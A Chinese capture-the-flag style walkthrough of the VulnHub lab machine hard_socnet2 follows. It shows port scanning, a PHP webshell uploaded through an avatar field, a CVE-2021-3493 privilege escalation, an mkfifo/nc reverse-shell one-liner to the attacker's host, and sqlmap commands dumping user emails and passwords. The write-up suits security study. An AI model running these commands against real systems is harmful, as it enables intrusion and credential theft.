第八次打靶-1
靶机介绍1）靶机地址：https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova
2）靶机难度：高
3）打靶目标:取得 root 权限
4）涉及攻击方法：主机发现、端口扫描、SQL注入、文件上传、蚁剑上线、CVE-2021-3493、XMLRPC、逆向工程、动态调试、缓冲区溢出、漏洞利用代码编写
5）课程来源：https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0
6）参考连接：https://docs.python.org/zh-cn/3/library/xmlrpc.html
打靶过程
1）主机发现
# arp-scan -lhttps://img2023.cnblogs.com/blog/2180585/202212/2180585-20221212150944614-843105212.png
2）对主机进行全端口扫描
# nmap -p- 192.168.56.112https://img2023.cnblogs.com/blog/2180585/202212/2180585-20221212151004957-2039020927.png
3）对发现的端口进行服务版本扫描
# nmap -p22,80,8000 -sV 192.168.56.112https://img2023.cnblogs.com/blog/2180585/202212/2180585-20221212151025108-576340829.png
4）对8000端口进行访问，发现错误代码为501，提示请求方法错误，不支持GET方法
浏览器：http://192.168.56.112:8000/https://img2023.cnblogs.com/blog/2180585/202212/2180585-20221212151049228-1468084525.png
5）通过burp抓取访问该页面的数据包，修改请求方法为OPTIONS、POST、DELETE、PUT等，都无法返回正常的页面
https://img2023.cnblogs.com/blog/2180585/202212/2180585-20221212151110475-1583882157.png
6）此时访问80端口,显示一个登录程序：利用万能密码无法正确登入，同时因不知道email账号，导致无法暴力破解密码，但是此处提供了注册功能，可进行注册
http://192.168.56.112:80https://img2023.cnblogs.com/blog/2180585/202212/2180585-20221212151128707-1595065148.png
7）对网站进行账号注册，注册完成后进行登录，先对网站进行基本功能的了解
https://img2023.cnblogs.com/blog/2180585/202212/2180585-20221212151217040-1493786828.png
注：在实际渗透测试过程中，利用注册功能进行注册时，要使用虚假的注册信息，不要使用个人真实信息
8）登录成功后，可以发表信息，同时发现该程序存在admin和testuser用户，但为发现该用户的邮箱地址，因此无法直接登录
https://img2023.cnblogs.com/blog/2180585/202212/2180585-20221212151234043-1071358456.png
9）在Profile发现，可以上传用户头像，测试尝试直接上传shell.php一句话木马，发现可以直接上传成功，复制图片链接后，通过蚁剑进行连接
https://img2023.cnblogs.com/blog/2180585/202212/2180585-20221212151250415-1331518328.png
10）直接通过蚁剑进行连接，突破边界，获取到shell
https://img2023.cnblogs.com/blog/2180585/202212/2180585-20221212151306342-352319466.png
https://img2023.cnblogs.com/blog/2180585/202212/2180585-20221212151322333-305852714.png
11）提权：先进行信息搜集，查看操作系统的版本和内核版本，发现ubuntu版本为18.04
# uname -a
#lsb_release -ahttps://img2023.cnblogs.com/blog/2180585/202212/2180585-20221212151336477-1538026788.png
12）Ubuntu存在一个提权漏洞：CVE-2021-3493
漏洞利用代码：https://github.com//briskets//CVE-2021-3493
①将漏洞利用代码下载，并通过蚁剑上传至目标主机
https://img2023.cnblogs.com/blog/2180585/202212/2180585-20221212151359704-842946396.png
②在目标主机进行代码编译,并执行
# gcc -o exp exploit.c
# chmod +x exp
# ./exphttps://img2023.cnblogs.com/blog/2180585/202212/2180585-20221212151424632-383496436.png
注：可以发现虽然提权成功，但是因为蚁剑的原因，导致自动的将高权限的shell退出了
③利用nc在目标系统上进行反弹shell，此处查看发现目标主机nc也没有-e参数，所以可以使用nc串联的方式反弹shell,此处通过操作系统的mkfifo命令进行反弹shell
kali主机:
# nc -lvvp 3333目标主机：
#rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.56.103 3333 >/tmp/f④反弹成功后，将反弹获得的shell进行升级，并执行exp，获取到root权限
$ python -c "import pty;pty.spawn('/bin/bash')"
$ ./exp
# idhttps://img2023.cnblogs.com/blog/2180585/202212/2180585-20221212151505091-926163926.png
13）其他漏洞（SQL注入）
①作为渗透测试者，每当看见一个表单的时候，会习惯性的在其中输入单引号，双引号等字符，来尝试测试目标服务器端是否存在sql注入漏洞。在靶机web页面最上方搜索栏的位置就是一个表单，当注入单引号时，返回了错误信息
https://img2023.cnblogs.com/blog/2180585/202212/2180585-20221212151534879-1708288634.png
②在搜索栏输入字符搜索时，通过burp抓取数据包
https://img2023.cnblogs.com/blog/2180585/202212/2180585-20221212151553591-2087338538.png
③将抓取的数据包，赋值至一个文本文档，如data.txt
https://img2023.cnblogs.com/blog/2180585/202212/2180585-20221212151617006-1583617663.png
④通过SQLmap对该数据包中的quera参数进行注入攻击
# sqlmap -r data.txt -p query
# sqlmap -r data.txt -p query--dbs
# sqlmap -r data.txt -p query-D socialnetwork --tables
# sqlmap -r data.txt -p query-D socialnetwork -T users --columns
# sqlmap -r data.txt -p query-D socialnetwork -T users -C user_email,user_password --dumphttps://img2023.cnblogs.com/blog/2180585/202212/2180585-20221212151641414-888861955.png
⑤通过获取到的管理员账号密码进行登录：登录之后暂未发现其他有价值的东西，但同样可以在上传头像位置上传webshell，同样使用蚁剑上线
https://img2023.cnblogs.com/blog/2180585/202212/2180585-20221212151701841-1556185210.png
注：因本次提权漏洞（CVE-2021-3493）是2021年才发现的漏洞，但是靶机是2020年推出的，当时无法直接通过提权漏洞（CVE-2021-3493）进行提权，所以需要按照靶机作者设计靶机时的漏洞利用方法思路进行提权。
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！
页:
[1]